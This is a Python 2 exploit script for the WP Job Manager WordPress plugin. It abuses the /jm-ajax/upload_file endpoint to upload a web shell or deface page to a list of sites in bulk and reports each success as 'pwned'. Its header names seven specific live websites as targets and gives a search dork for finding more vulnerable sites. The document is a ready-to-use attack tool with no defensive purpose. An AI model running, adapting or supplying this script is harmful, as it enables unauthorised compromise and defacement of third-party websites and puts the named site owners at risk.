wp-job-manager.py

# Live Target:
#https://www.gismartware.com/
#https://www.arraymarketing.com/
#https://www.realitychecksystems.com/
#https://marketing4ecommerce.net/
#https://adgmultifamily.com/
#https://www.perigord.com/
#https://blacknursesrock.com/

# Exploit Title: WordPress plugin job manager
# Dorks:  inurl:/wp-content/uploads/job-manager-uploads/
# Exploit:  /jm-ajax/upload_file
# Exploit Author: facebook.com/achmad.luthfi.hadi.3
# Requirements: python2x with http requests libary
# Install: pip2 install requests


import requests

filename=""
pathfiles=""
weblists=""

def exploit(url,filename,pathfiles):
    try:
        payload={"files":(filename,
            open(pathfiles,"rb"),
                "multipart/form-data")}
        for x in requests.post("%s/jm-ajax/upload_file"%(url),
                files=payload).json()["files"]:
            print "[+] %s -> pwned."%(x["url"])
    except Exception as f:
        print("[!] %s -> failed upload."%(url))

def loadFile(filename,pathfiles,weblists):
    try:
        pathfiles=raw_input("[?] File Deface/Shell: ")
        g=open(pathfiles)
    except Exception as _e:
        print("[!] %s"%(_e))
        loadFile(filename,pathfiles,weblists)
    filename=raw_input("[?] File Name: ")
    try:
        file=open(raw_input("[?] WebList: ")).read().splitlines()
    except Exception as _e:
        print("[!] %s"%(_e))
        loadFile(filename,pathfiles,weblists)
    for x in file:
        exploit(x,filename,pathfiles)

loadFile(filename,pathfiles,weblists)